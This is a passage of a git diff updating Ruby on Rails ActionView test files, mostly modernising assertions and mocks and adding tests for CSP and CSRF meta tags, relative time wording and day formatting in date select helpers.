-    assert ! content_for?(:title)
+    assert_not content_for?(:title)
     assert_nil content_for(:title, "foo")
     assert_nil content_for(:title) { output_buffer << "bar"; nil }
     assert_nil content_for(:title) { output_buffer << "  \n  "; nil }
@@ -142,27 +159,27 @@ def test_content_for_returns_nil_when_content_missing
   end
 
   def test_content_for_question_mark
-    assert ! content_for?(:title)
+    assert_not content_for?(:title)
     content_for :title, "title"
     assert content_for?(:title)
-    assert ! content_for?(:something_else)
+    assert_not content_for?(:something_else)
   end
 
   def test_content_for_should_be_html_safe_after_flush_empty
-    assert ! content_for?(:title)
+    assert_not content_for?(:title)
     content_for :title do
       content_tag(:p, "title")
     end
-    assert content_for(:title).html_safe?
+    assert_predicate content_for(:title), :html_safe?
     content_for :title, "", flush: true
     content_for(:title) do
       content_tag(:p, "title")
     end
-    assert content_for(:title).html_safe?
+    assert_predicate content_for(:title), :html_safe?
   end
 
   def test_provide
-    assert !content_for?(:title)
+    assert_not content_for?(:title)
     provide :title, "hi"
     assert content_for?(:title)
     assert_equal "hi", content_for(:title)
@@ -170,28 +187,28 @@ def test_provide
     assert_equal "hi&lt;p&gt;title&lt;/p&gt;", content_for(:title)
 
     @view_flow = ActionView::OutputFlow.new
-    provide :title, "hi"
+    provide :title, :hi
     provide :title, raw("<p>title</p>")
     assert_equal "hi<p>title</p>", content_for(:title)
   end
 
   def test_with_output_buffer_swaps_the_output_buffer_given_no_argument
-    assert_nil @av.output_buffer
+    assert_predicate @av.output_buffer, :empty?
     buffer = @av.with_output_buffer do
       @av.output_buffer << "."
     end
-    assert_equal ".", buffer
-    assert_nil @av.output_buffer
+    assert_equal ".", buffer.to_s
+    assert_predicate @av.output_buffer, :empty?
   end
 
   def test_with_output_buffer_swaps_the_output_buffer_with_an_argument
-    assert_nil @av.output_buffer
+    assert_predicate @av.output_buffer, :empty?
     buffer = ActionView::OutputBuffer.new(".")
     @av.with_output_buffer(buffer) do
       @av.output_buffer << "."
     end
-    assert_equal "..", buffer
-    assert_nil @av.output_buffer
+    assert_equal "..", buffer.to_s
+    assert_predicate @av.output_buffer, :empty?
   end
 
   def test_with_output_buffer_restores_the_output_buffer
@@ -216,8 +233,18 @@ def test_with_output_buffer_sets_proper_encoding
   end
 
   def test_with_output_buffer_does_not_assume_there_is_an_output_buffer
-    assert_nil @av.output_buffer
-    assert_equal "", @av.with_output_buffer {}
+    assert_predicate @av.output_buffer, :empty?
+    assert_equal "", @av.with_output_buffer { }.to_s
+  end
+
+  def test_ignore_the_block_return_if_its_the_buffer
+    @av.output_buffer << "something"
+    string = @av.capture do
+      @av.output_buffer << "foo"
+      @av.output_buffer << "bar"
+      @av.output_buffer
+    end
+    assert_equal "foobar", string
   end
 
   def alt_encoding(output_buffer)
diff --git a/actionview/test/template/compiled_templates_test.rb b/actionview/test/template/compiled_templates_test.rb
index adb2be9be493b..ea9646b484a5f 100644
--- a/actionview/test/template/compiled_templates_test.rb
+++ b/actionview/test/template/compiled_templates_test.rb
@@ -1,7 +1,19 @@
+# frozen_string_literal: true
+
 require "abstract_unit"
 
 class CompiledTemplatesTest < ActiveSupport::TestCase
-  teardown do
+  attr_reader :view_class
+
+  def setup
+    super
+    view_paths = ActionController::Base.view_paths
+    view_paths.each(&:clear_cache)
+    @view_class = ActionView::Base.with_empty_template_cache
+  end
+
+  def teardown
+    super
     ActionView::LookupContext::DetailsKey.clear
   end
 
@@ -11,7 +23,7 @@ def test_template_with_nil_erb_return
 
   def test_template_with_ruby_keyword_locals
     assert_equal "The class is foo",
-      render(file: "test/render_file_with_ruby_keyword_locals", locals: { class: "foo" })
+      render(template: "test/render_file_with_ruby_keyword_locals", locals: { class: "foo" })
   end
 
   def test_template_with_invalid_identifier_locals
@@ -21,7 +33,7 @@ def test_template_with_invalid_identifier_locals
       "d-a-s-h-e-s": "",
       "white space": "",
     }
-    assert_equal locals.inspect, render(file: "test/render_file_inspect_local_assigns", locals: locals)
+    assert_equal locals.inspect, render(template: "test/render_file_inspect_local_assigns", locals: locals)
   end
 
   def test_template_with_delegation_reserved_keywords
@@ -31,62 +43,20 @@ def test_template_with_delegation_reserved_keywords
       args: "three",
       block: "four",
     }
-    assert_equal "one two three four", render(file: "test/test_template_with_delegation_reserved_keywords", locals: locals)
+    assert_equal "one two three four", render(template: "test/test_template_with_delegation_reserved_keywords", locals: locals)
   end
 
   def test_template_with_unicode_identifier
-    assert_equal "🎂", render(file: "test/render_file_unicode_local", locals: { 🎃: "🎂" })
-  end
-
-  def test_template_with_instance_variable_identifier
-    assert_equal "bar", render(file: "test/render_file_instance_variable", locals: { "@foo": "bar" })
+    assert_equal "🎂", render(template: "test/render_file_unicode_local", locals: { 🎃: "🎂" })
   end
 
   def test_template_gets_recompiled_when_using_different_keys_in_local_assigns
-    assert_equal "one", render(file: "test/render_file_with_locals_and_default")
-    assert_equal "two", render(file: "test/render_file_with_locals_and_default", locals: { secret: "two" })
-  end
-
-  def test_template_changes_are_not_reflected_with_cached_templates
-    assert_equal "Hello world!", render(file: "test/hello_world")
-    modify_template "test/hello_world.erb", "Goodbye world!" do
-      assert_equal "Hello world!", render(file: "test/hello_world")
-    end
-    assert_equal "Hello world!", render(file: "test/hello_world")
-  end
-
-  def test_template_changes_are_reflected_with_uncached_templates
-    assert_equal "Hello world!", render_without_cache(file: "test/hello_world")
-    modify_template "test/hello_world.erb", "Goodbye world!" do
-      assert_equal "Goodbye world!", render_without_cache(file: "test/hello_world")
-    end
-    assert_equal "Hello world!", render_without_cache(file: "test/hello_world")
+    assert_equal "one", render(template: "test/render_file_with_locals_and_default")
+    assert_equal "two", render(template: "test/render_file_with_locals_and_default", locals: { secret: "two" })
   end
 
   private
     def render(*args)
-      render_with_cache(*args)
-    end
-
-    def render_with_cache(*args)
-      view_paths = ActionController::Base.view_paths
-      ActionView::Base.new(view_paths, {}).render(*args)
-    end
-
-    def render_without_cache(*args)
-      path = ActionView::FileSystemResolver.new(FIXTURE_LOAD_PATH)
-      view_paths = ActionView::PathSet.new([path])
-      ActionView::Base.new(view_paths, {}).render(*args)
-    end
-
-    def modify_template(template, content)
-      filename = "#{FIXTURE_LOAD_PATH}/#{template}"
-      old_content = File.read(filename)
-      begin
-        File.open(filename, "wb+") { |f| f.write(content) }
-        yield
-      ensure
-        File.open(filename, "wb+") { |f| f.write(old_content) }
-      end
+      ActionController::Base.render(*args)
     end
 end
diff --git a/actionview/test/template/controller_helper_test.rb b/actionview/test/template/controller_helper_test.rb
index 8dd0cedb7572e..d7d988a500829 100644
--- a/actionview/test/template/controller_helper_test.rb
+++ b/actionview/test/template/controller_helper_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "abstract_unit"
 
 class ControllerHelperTest < ActionView::TestCase
@@ -6,16 +8,29 @@ class ControllerHelperTest < ActionView::TestCase
   class SpecializedFormBuilder < ActionView::Helpers::FormBuilder ; end
 
   def test_assign_controller_sets_default_form_builder
-    @controller = OpenStruct.new(default_form_builder: SpecializedFormBuilder)
+    @controller = Struct.new(:default_form_builder).new(SpecializedFormBuilder)
     assign_controller(@controller)
 
     assert_equal SpecializedFormBuilder, default_form_builder
   end
 
   def test_assign_controller_skips_default_form_builder
-    @controller = OpenStruct.new
+    @controller = Object.new
     assign_controller(@controller)
 
     assert_nil default_form_builder
   end
+
+  def test_respond_to
+    @controller = Object.new
+    assign_controller(@controller)
+    assert_not respond_to?(:params)
+    assert respond_to?(:assign_controller)
+
+    def @controller.params
+      {}
+    end
+    assert respond_to?(:params)
+    assert respond_to?(:assign_controller)
+  end
 end
diff --git a/actionview/test/template/csp_helper_test.rb b/actionview/test/template/csp_helper_test.rb
new file mode 100644
index 0000000000000..1b7fd4665f2c4
--- /dev/null
+++ b/actionview/test/template/csp_helper_test.rb
@@ -0,0 +1,35 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+
+class CspHelperWithCspEnabledTest < ActionView::TestCase
+  tests ActionView::Helpers::CspHelper
+
+  def content_security_policy_nonce
+    "iyhD0Yc0W+c="
+  end
+
+  def content_security_policy?
+    true
+  end
+
+  def test_csp_meta_tag
+    assert_equal "<meta name=\"csp-nonce\" content=\"iyhD0Yc0W+c=\" />", csp_meta_tag
+  end
+
+  def test_csp_meta_tag_with_options
+    assert_equal "<meta property=\"csp-nonce\" name=\"csp-nonce\" content=\"iyhD0Yc0W+c=\" />", csp_meta_tag(property: "csp-nonce")
+  end
+end
+
+class CspHelperWithCspDisabledTest < ActionView::TestCase
+  tests ActionView::Helpers::CspHelper
+
+  def content_security_policy?
+    false
+  end
+
+  def test_csp_meta_tag
+    assert_nil csp_meta_tag
+  end
+end
diff --git a/actionview/test/template/csrf_helper_test.rb b/actionview/test/template/csrf_helper_test.rb
new file mode 100644
index 0000000000000..38d3a95ab4cdf
--- /dev/null
+++ b/actionview/test/template/csrf_helper_test.rb
@@ -0,0 +1,46 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+
+class CsrfHelperTest < ActiveSupport::TestCase
+  cattr_accessor :request_forgery, default: false
+
+  include ActionView::Helpers::CsrfHelper
+  include ActionView::Helpers::TagHelper
+  include Rails::Dom::Testing::Assertions::DomAssertions
+
+  def test_csrf_meta_tags_without_request_forgery_protection
+    assert_dom_equal "", csrf_meta_tags
+  end
+
+  def test_csrf_meta_tags_with_request_forgery_protection
+    self.request_forgery = true
+
+    assert_dom_equal <<~DOM.chomp, csrf_meta_tags
+      <meta name="csrf-param" content="form_token" />
+      <meta name="csrf-token" content="secret" />
+    DOM
+  ensure
+    self.request_forgery = false
+  end
+
+  def test_csrf_meta_tags_without_protect_against_forgery_method
+    self.class.undef_method(:protect_against_forgery?)
+
+    assert_dom_equal "", csrf_meta_tags
+  ensure
+    self.class.define_method(:protect_against_forgery?) { request_forgery }
+  end
+
+  def protect_against_forgery?
+    request_forgery
+  end
+
+  def form_authenticity_token(**)
+    "secret"
+  end
+
+  def request_forgery_protection_token
+    "form_token"
+  end
+end
diff --git a/actionview/test/template/date_helper_i18n_test.rb b/actionview/test/template/date_helper_i18n_test.rb
index 207c8a683ece6..07051f59e1a62 100644
--- a/actionview/test/template/date_helper_i18n_test.rb
+++ b/actionview/test/template/date_helper_i18n_test.rb
@@ -1,4 +1,7 @@
+# frozen_string_literal: true
+
 require "abstract_unit"
+require "active_support/core_ext/integer/time"
 
 class DateHelperDistanceOfTimeInWordsI18nTests < ActiveSupport::TestCase
   include ActionView::Helpers::DateHelper
@@ -46,7 +49,7 @@ def test_distance_of_time_in_words_calls_i18n_with_custom_scope
   end
 
   def test_time_ago_in_words_passes_locale
-    assert_called_with(I18n, :t, [:less_than_x_minutes, scope: :'datetime.distance_in_words', count: 1, locale: "ru"]) do
+    assert_called_with(I18n, :t, [:less_than_x_minutes], scope: :'datetime.distance_in_words', count: 1, locale: "ru") do
       time_ago_in_words(15.seconds.ago, locale: "ru")
     end
   end
@@ -81,7 +84,7 @@ def assert_distance_of_time_in_words_translates_key(passed, expected, expected_o
     options = { locale: "en", scope: :'datetime.distance_in_words' }.merge!(expected_options)
     options[:count] = count if count
 
-    assert_called_with(I18n, :t, [key, options]) do
+    assert_called_with(I18n, :t, [key], **options) do
       distance_of_time_in_words(@from, to, passed_options.merge(locale: "en"))
     end
   end
@@ -100,17 +103,31 @@ def test_select_month_given_use_month_names_option_does_not_translate_monthnames
   end
 
   def test_select_month_translates_monthnames
-    assert_called_with(I18n, :translate, [:'date.month_names', locale: "en"], returns: Date::MONTHNAMES) do
+    assert_called_with(I18n, :translate, [:'date.month_names'], returns: Date::MONTHNAMES, locale: "en") do
       select_month(8, locale: "en")
     end
   end
 
   def test_select_month_given_use_short_month_option_translates_abbr_monthnames
-    assert_called_with(I18n, :translate, [:'date.abbr_month_names', locale: "en"], returns: Date::ABBR_MONTHNAMES) do
+    assert_called_with(I18n, :translate, [:'date.abbr_month_names'], returns: Date::ABBR_MONTHNAMES, locale: "en") do
       select_month(8, locale: "en", use_short_month: true)
     end
   end
 
+  def test_select_month_with_frozen_month_names
+    month_names = Date::MONTHNAMES.dup.drop(1)
+    mock = Minitest::Mock.new
+    expect_called_with(mock, [:'date.month_names'], locale: "en", returns: month_names.freeze)
+
+    I18n.stub(:translate, mock) do
+      select_month(8, locale: "en")
+    end
+
+    assert_mock(mock)
+  end
+
+  # date_or_time_select
+
   def test_date_or_time_select_translates_prompts
     prompt_defaults = { year: "Year", month: "Month", day: "Day", hour: "Hour", minute: "Minute", second: "Seconds" }
     defaults = { [:'date.order', locale: "en", default: []] => %w(year month day) }
@@ -134,8 +151,6 @@ def test_date_or_time_select_translates_prompts
     assert_equal defaults.count, @prompt_called
   end
 
-  # date_or_time_select
-
   def test_date_or_time_select_given_an_order_options_does_not_translate_order
     assert_not_called(I18n, :translate) do
       datetime_select("post", "updated_at", order: [:year, :month, :day], locale: "en", use_month_names: Date::MONTHNAMES)
@@ -143,13 +158,19 @@ def test_date_or_time_select_given_an_order_options_does_not_translate_order
   end
 
   def test_date_or_time_select_given_no_order_options_translates_order
-    assert_called_with(I18n, :translate, [ [:'date.order', locale: "en", default: []], [:"date.month_names", { locale: "en" }] ], returns: %w(year month day)) do
+    mock = Minitest::Mock.new
+    expect_called_with(mock, [:'date.order'], locale: "en", default: [], returns: ["year", "month", "day"])
+    expect_called_with(mock, [:'date.month_names'], locale: "en", returns: [])
+
+    I18n.stub(:translate, mock) do
       datetime_select("post", "updated_at", locale: "en")
     end
+
+    assert_mock(mock)
   end
 
   def test_date_or_time_select_given_invalid_order
-    assert_called_with(I18n, :translate, [:'date.order', locale: "en", default: []], returns: %w(invalid month day)) do
+    assert_called_with(I18n, :translate, [:'date.order'], returns: %w(invalid month day), locale: "en", default: []) do
       assert_raise StandardError do
         datetime_select("post", "updated_at", locale: "en")
       end
@@ -157,8 +178,14 @@ def test_date_or_time_select_given_invalid_order
   end
 
   def test_date_or_time_select_given_symbol_keys
-    assert_called_with(I18n, :translate, [ [:'date.order', locale: "en", default: []], [:"date.month_names", { locale: "en" }] ], returns: [:year, :month, :day]) do
+    mock = Minitest::Mock.new
+    expect_called_with(mock, [:'date.order'], locale: "en", default: [], returns: [:year, :month, :day])
+    expect_called_with(mock, [:'date.month_names'], locale: "en", returns: [])
+
+    I18n.stub(:translate, mock) do
       datetime_select("post", "updated_at", locale: "en")
     end
+
+    assert_mock(mock)
   end
 end
diff --git a/actionview/test/template/date_helper_test.rb b/actionview/test/template/date_helper_test.rb
index bfd3ecd6fd365..f722b30b183d8 100644
--- a/actionview/test/template/date_helper_test.rb
+++ b/actionview/test/template/date_helper_test.rb
@@ -1,4 +1,7 @@
+# frozen_string_literal: true
+
 require "abstract_unit"
+require "active_support/core_ext/integer/time"
 
 class DateHelperTest < ActionView::TestCase
   tests ActionView::Helpers::DateHelper
@@ -16,6 +19,8 @@ def to_param
         "123"
       end
     end
+
+    ComposedDate = Struct.new("ComposedDate", :year, :month, :day)
   end
 
   def assert_distance_of_time_in_words(from, to = nil)
@@ -128,11 +133,14 @@ def test_distance_in_words
     assert_distance_of_time_in_words(from)
   end
 
-  def test_distance_in_words_with_mathn_required
-    # test we avoid Integer#/ (redefined by mathn)
-    silence_warnings { require "mathn" }
-    from = Time.utc(2004, 6, 6, 21, 45, 0)
-    assert_distance_of_time_in_words(from)
+  def test_distance_in_words_with_nil_input
+    assert_raises(ArgumentError) { distance_of_time_in_words(nil) }
+    assert_raises(ArgumentError) { distance_of_time_in_words(0, nil) }
+  end
+
+  def test_distance_in_words_with_mixed_argument_types
+    assert_equal "1 minute", distance_of_time_in_words(0, Time.at(60))
+    assert_equal "10 minutes", distance_of_time_in_words(Time.at(600), 0)
   end
 
   def test_time_ago_in_words_passes_include_seconds
@@ -195,8 +203,20 @@ def test_time_ago_in_words
     assert_equal "about 1 year", time_ago_in_words(1.year.ago - 1.day)
   end
 
+  def test_relative_time_when_time_is_in_the_past
+    assert_equal "3 minutes ago", relative_time_in_words(3.minutes.ago)
+  end
+
+  def test_relative_time_when_time_is_in_the_future
+    assert_equal "in 3 minutes", relative_time_in_words(3.minutes.from_now)
+  end
+
+  def test_relative_time_delegates_options_to_time_ago_in_words
+    assert_equal "less than 20 seconds ago", relative_time_in_words(10.seconds.ago, include_seconds: true)
+  end
+
   def test_select_day
-    expected = %(<select id="date_day" name="date[day]">\n)
+    expected = +%(<select id="date_day" name="date[day]">\n)
     expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16" selected="selected">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n)
     expected << "</select>\n"
 
@@ -205,8 +225,8 @@ def test_select_day
   end
 
   def test_select_day_with_blank
-    expected = %(<select id="date_day" name="date[day]">\n)
-    expected << %(<option value=""></option>\n<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16" selected="selected">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n)
+    expected = +%(<select id="date_day" name="date[day]">\n)
+    expected << %(<option value="" label=" "></option>\n<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16" selected="selected">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n)
     expected << "</select>\n"
 
     assert_dom_equal expected, select_day(Time.mktime(2003, 8, 16), include_blank: true)
@@ -214,15 +234,15 @@ def test_select_day_with_blank
   end
 
   def test_select_day_nil_with_blank
-    expected = %(<select id="date_day" name="date[day]">\n)
-    expected << %(<option value=""></option>\n<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n)
+    expected = +%(<select id="date_day" name="date[day]">\n)
+    expected << %(<option value="" label=" "></option>\n<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n)
     expected << "</select>\n"
 
     assert_dom_equal expected, select_day(nil, include_blank: true)
   end
 
   def test_select_day_with_two_digit_numbers
-    expected = %(<select id="date_day" name="date[day]">\n)
+    expected = +%(<select id="date_day" name="date[day]">\n)
     expected << %(<option value="1">01</option>\n<option selected="selected" value="2">02</option>\n<option value="3">03</option>\n<option value="4">04</option>\n<option value="5">05</option>\n<option value="6">06</option>\n<option value="7">07</option>\n<option value="8">08</option>\n<option value="9">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n)
     expected << "</select>\n"
 
@@ -230,17 +250,27 @@ def test_select_day_with_two_digit_numbers
     assert_dom_equal expected, select_day(2, use_two_digit_numbers: true)
   end
 
+  def test_select_day_with_day_format
+    expected = +%(<select id="date_day" name="date[day]">\n)
+    expected << %(<option value="1">1st</option>\n<option selected="selected" value="2">2nd</option>\n<option value="3">3rd</option>\n<option value="4">4th</option>\n<option value="5">5th</option>\n<option value="6">6th</option>\n<option value="7">7th</option>\n<option value="8">8th</option>\n<option value="9">9th</option>\n<option value="10">10th</option>\n<option value="11">11th</option>\n<option value="12">12th</option>\n<option value="13">13th</option>\n<option value="14">14th</option>\n<option value="15">15th</option>\n<option value="16">16th</option>\n<option value="17">17th</option>\n<option value="18">18th</option>\n<option value="19">19th</option>\n<option value="20">20th</option>\n<option value="21">21st</option>\n<option value="22">22nd</option>\n<option value="23">23rd</option>\n<option value="24">24th</option>\n<option value="25">25th</option>\n<option value="26">26th</option>\n<option value="27">27th</option>\n<option value="28">28th</option>\n<option value="29">29th</option>\n<option value="30">30th</option>\n<option value="31">31st</option>\n)
+    expected << "</select>\n"
+
+    day_format = ->(day) { ActiveSupport::Inflector.ordinalize(day) }
+    assert_dom_equal expected, select_day(Time.mktime(2011, 8, 2), day_format: day_format)
+    assert_dom_equal expected, select_day(2, day_format: day_format)
+  end
+
   def test_select_day_with_html_options
-    expected = %(<select id="date_day" name="date[day]" class="selector">\n)
+    expected = +%(<select id="date_day" name="date[day]" class="selector">\n)
     expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16" selected="selected">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n)
     expected << "</select>\n"
 
-    assert_dom_equal expected, select_day(Time.mktime(2003, 8, 16), {}, class: "selector")
-    assert_dom_equal expected, select_day(16, {}, class: "selector")
+    assert_dom_equal expected, select_day(Time.mktime(2003, 8, 16), {}, { class: "selector" })
+    assert_dom_equal expected, select_day(16, {}, { class: "selector" })
   end
 
   def test_select_day_with_default_prompt
-    expected = %(<select id="date_day" name="date[day]">\n)
+    expected = +%(<select id="date_day" name="date[day]">\n)
     expected << %(<option value="">Day</option>\n<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16" selected="selected">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n)
     expected << "</select>\n"
 
@@ -248,7 +278,7 @@ def test_select_day_with_default_prompt
   end
 
   def test_select_day_with_custom_prompt
-    expected = %(<select id="date_day" name="date[day]">\n)
+    expected = +%(<select id="date_day" name="date[day]">\n)
     expected << %(<option value="">Choose day</option>\n<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16" selected="selected">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n)
     expected << "</select>\n"
 
@@ -256,7 +286,7 @@ def test_select_day_with_custom_prompt
   end
 
   def test_select_day_with_generic_with_css_classes
-    expected = %(<select id="date_day" name="date[day]" class="day">\n)
+    expected = +%(<select id="date_day" name="date[day]" class="day">\n)
     expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16" selected="selected">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n)
     expected << "</select>\n"
 
@@ -264,7 +294,7 @@ def test_select_day_with_generic_with_css_classes
   end
 
   def test_select_day_with_custom_with_css_classes
-    expected = %(<select id="date_day" name="date[day]" class="my-day">\n)
+    expected = +%(<select id="date_day" name="date[day]" class="my-day">\n)
     expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16" selected="selected">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n)
     expected << "</select>\n"
 
@@ -272,7 +302,7 @@ def test_select_day_with_custom_with_css_classes
   end
 
   def test_select_month
-    expected = %(<select id="date_month" name="date[month]">\n)
+    expected = +%(<select id="date_month" name="date[month]">\n)
     expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
     expected << "</select>\n"
 
@@ -281,7 +311,7 @@ def test_select_month
   end
 
   def test_select_month_with_two_digit_numbers
-    expected = %(<select id="date_month" name="date[month]">\n)
+    expected = +%(<select id="date_month" name="date[month]">\n)
     expected << %(<option value="1">01</option>\n<option value="2">02</option>\n<option value="3">03</option>\n<option value="4">04</option>\n<option value="5">05</option>\n<option value="6">06</option>\n<option value="7">07</option>\n<option value="8" selected="selected">08</option>\n<option value="9">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n)
     expected << "</select>\n"
 
@@ -290,7 +320,7 @@ def test_select_month_with_two_digit_numbers
   end
 
   def test_select_month_with_disabled
-    expected = %(<select id="date_month" name="date[month]" disabled="disabled">\n)
